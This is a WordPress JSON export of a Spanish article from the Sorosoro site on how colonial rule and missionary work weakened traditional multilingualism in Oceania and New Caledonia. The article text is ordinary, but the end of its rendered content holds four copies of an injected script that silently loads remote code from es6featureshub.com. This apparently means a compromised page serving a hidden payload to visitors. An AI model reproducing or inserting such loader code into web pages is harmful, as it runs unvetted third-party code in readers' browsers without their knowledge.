{"id":66807,"date":"2015-09-05T00:40:45","date_gmt":"2015-09-04T22:40:45","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66807"},"modified":"2025-10-21T21:58:27","modified_gmt":"2025-10-21T19:58:27","slug":"cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/","title":{"rendered":"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Claire Moyse-Faurie el February 21, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Clara Moyse-Faurie nos describi\u00f3 la semana pasada un continente oce\u00e1nico campe\u00f3n del plurilinguismo con sus 2000 lenguas (1\/3 lenguas del mundo) para 250 millones de personas solamente (menos de 4 % de la poblaci\u00f3n mundial). Tambi\u00e9n detall\u00f3 la manera en el que este plurilinguismo se practicaba de modo natural, no jerarquizado, hasta la \u00e9poca de la colonizaci\u00f3n. Hoy prosigue descifrando los mecanismos que impusieron progresivamente lenguas dominantes en detrimento de la multiplicidad de las lenguas locales.<\/em><\/p>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"4to festival de las Artes Melanesias\" src=\"\/wp-content\/uploads\/5008114988.jpg\" alt=\"4to festival de las Artes Melanesias\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">BY Fabvirge &#8211; 4to festival de las Artes Melanesias<\/p><\/div>\n<p><strong>La situaci\u00f3n pluriling\u00fce pre colonial que preval\u00eda en Ocean\u00eda fue progresivamente maltratada por pol\u00edticas que instauraban una ense\u00f1anza \u00fanicamente monoling\u00fce<\/strong> y que penalizaban la pr\u00e1ctica de las lenguas vern\u00e1culas en todo el espacio pol\u00edtico, administrativo y escolar.<br \/>\n&nbsp;<br \/>\n<strong>En Nueva Caledonia en particular<\/strong>, la administraci\u00f3n colonial francesa, con sus tradiciones centralizadoras, trat\u00f3 por todos los medios de reducir esta proliferaci\u00f3n ling\u00fc\u00edstica que le aparec\u00eda una desventaja, incluso un peligro, para la buena administraci\u00f3n de la poblaci\u00f3n aut\u00f3ctona.<br \/>\n&nbsp;<br \/>\nAs\u00ed, se prohibi\u00f3 el uso de las lenguas vern\u00e1culas, por decreto del gobernador Guillain, en 1863, solamente diez a\u00f1os despu\u00e9s de la anexi\u00f3n. Las lenguas vern\u00e1culas fueron prohibidas hasta en los patios de recreo de las escuelas. Y el uso escrito de las lenguas kanak fuera del \u00e1rea religiosa fue severamente reprimido hasta en 1970.<br \/>\n&nbsp;<br \/>\nParalelamente la colonizaci\u00f3n pol\u00edtica, <strong>la evangelizaci\u00f3n contribuy\u00f3 debilitando el equilibrio que exist\u00eda entre esas diferentes lenguas,<\/strong> que estaban hasta entonces sobre un plano de igualdad, cualquiera que sea el n\u00famero de sus locutores.<br \/>\n&nbsp;<br \/>\nAlgunas de ellas han sido favorecidas en detrimento de otras, estableciendo as\u00ed una jerarqu\u00eda entre lenguas reconocidas y tomadas en consideraci\u00f3n en la traducci\u00f3n de escritos religiosos, por una parte, y lenguas totalmente ignoradas, y rebajadas de hecho, por otra parte.<br \/>\n&nbsp;<br \/>\n<strong>La multiplicidad de las lenguas en este continente precipit\u00f3 finalmente su decadencia:<\/strong> repentinamente erigidas en rivales, fueron forzadas a adaptarse, a integrarse en la vida moderna y a imponerse frente a las otras, o, contrariamente, a limitarse a empleos cada vez m\u00e1s restringidos, tocando as\u00ed la extinci\u00f3n.<br \/>\n&nbsp;<br \/>\nUna unidad ling\u00fc\u00edstica de pa\u00eds o de territorio habr\u00eda posiblemente hecho las lenguas vern\u00e1culas m\u00e1s fuertes frente al contacto brutal con las lenguas europeas luego de la colonizaci\u00f3n y de la evangelizaci\u00f3n.<br \/>\n&nbsp;<br \/>\n<strong>M\u00e1s recientemente, en consecuencia de las migraciones hacia las ciudades, situaciones m\u00faltiples de plurilinguismo vieron la luz en ambiente urbano.<\/strong> Pero se trata all\u00ed de un plurilinguismo no dominado, impuesto fuera de todo intercambio acostumbrado, en un contexto econ\u00f3mico de competencia y de individualismo. Estas lenguas desplazadas son entonces debilitadas, cortadas de su medio tradicional, habladas por un n\u00famero peque\u00f1o de locutores y totalmente marginadas.<br \/>\n&nbsp;<br \/>\nPor fin, si las pr\u00e1cticas pluriling\u00fces eran sistem\u00e1ticas en otro tiempo, hoy son a menudo percibidas hoy como una desventaja, incluso para los locutores mismos, cuando \u00e9stas conciernen \u00fanicamente a lenguas vern\u00e1culas sin tradiciones escritas, excluidas del mundo escolar, sin \u201cvalor internacional\u201d.<br \/>\n&nbsp;<br \/>\n<strong>Actualmente, las lenguas de Ocean\u00eda en mayor peligro se sit\u00faan en los pa\u00edses d\u00f3nde un plurilinguismo vern\u00e1culo equilibrado era la regla.<\/strong> En Nueva Caledonia, por ejemplo, el respeto mutuo cedi\u00f3 su lugar a la competencia entre las lenguas reconocidas por la administraci\u00f3n, las instancias religiosas o la ense\u00f1anza, en detrimento de otras lenguas que para sobrevivir deben enfrentarse a la vez con la lengua colonial y las lenguas vern\u00e1culas que gozan de un reconocimiento efectivo siendo tomadas en cuenta en las diversas instituciones.<br \/>\n&nbsp;<br \/>\n<strong>Restaurar la situaci\u00f3n pre colonial es ilusorio.<\/strong> El restablecimiento de un plurilinguismo equilibrado que tomar\u00eda en cuenta el conjunto de las lenguas vern\u00e1culas necesitar\u00eda de una pol\u00edtica voluntarista para proteger y valorizar las lenguas en mayor peligro, preservando no s\u00f3lo sus palabras y sus gram\u00e1ticas en archivos u obras, sino d\u00e1ndoles un lugar separado entero en la vida diaria, los medios de comunicaci\u00f3n y la ense\u00f1anza, confortando as\u00ed a los padres en su tarea de transmisi\u00f3n inter generacional.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Claire Moyse-Faurie el February 21, 2011 &nbsp; Clara Moyse-Faurie nos describi\u00f3 la semana pasada un continente oce\u00e1nico campe\u00f3n del plurilinguismo con sus 2000 lenguas (1\/3 lenguas del mundo) para 250 millones de personas solamente (menos de 4 % de la poblaci\u00f3n mundial). Tambi\u00e9n detall\u00f3 la manera en el que este plurilinguismo se practicaba [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66807","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Claire Moyse-Faurie el February 21, 2011 &nbsp; Clara Moyse-Faurie nos describi\u00f3 la semana pasada un continente oce\u00e1nico campe\u00f3n del plurilinguismo con sus 2000 lenguas (1\/3 lenguas del mundo) para 250 millones de personas solamente (menos de 4 % de la poblaci\u00f3n mundial). Tambi\u00e9n detall\u00f3 la manera en el que este plurilinguismo se practicaba [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-04T22:40:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:58:27+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda\",\"datePublished\":\"2015-09-04T22:40:45+00:00\",\"dateModified\":\"2025-10-21T19:58:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/\"},\"wordCount\":736,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/\",\"name\":\"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-04T22:40:45+00:00\",\"dateModified\":\"2025-10-21T19:58:27+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/","og_locale":"es_ES","og_type":"article","og_title":"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda - Sorosoro","og_description":"Publicado por Claire Moyse-Faurie el February 21, 2011 &nbsp; Clara Moyse-Faurie nos describi\u00f3 la semana pasada un continente oce\u00e1nico campe\u00f3n del plurilinguismo con sus 2000 lenguas (1\/3 lenguas del mundo) para 250 millones de personas solamente (menos de 4 % de la poblaci\u00f3n mundial). Tambi\u00e9n detall\u00f3 la manera en el que este plurilinguismo se practicaba [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/","og_site_name":"Sorosoro","article_published_time":"2015-09-04T22:40:45+00:00","article_modified_time":"2025-10-21T19:58:27+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda","datePublished":"2015-09-04T22:40:45+00:00","dateModified":"2025-10-21T19:58:27+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/"},"wordCount":736,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/","name":"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-04T22:40:45+00:00","dateModified":"2025-10-21T19:58:27+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/cuando-las-lenguas-dominantes-amenazan-el-plurilinguismo-en-oceania\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Cuando las lenguas dominantes amenazan el plurilinguismo en Ocean\u00eda"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66807"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66807\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}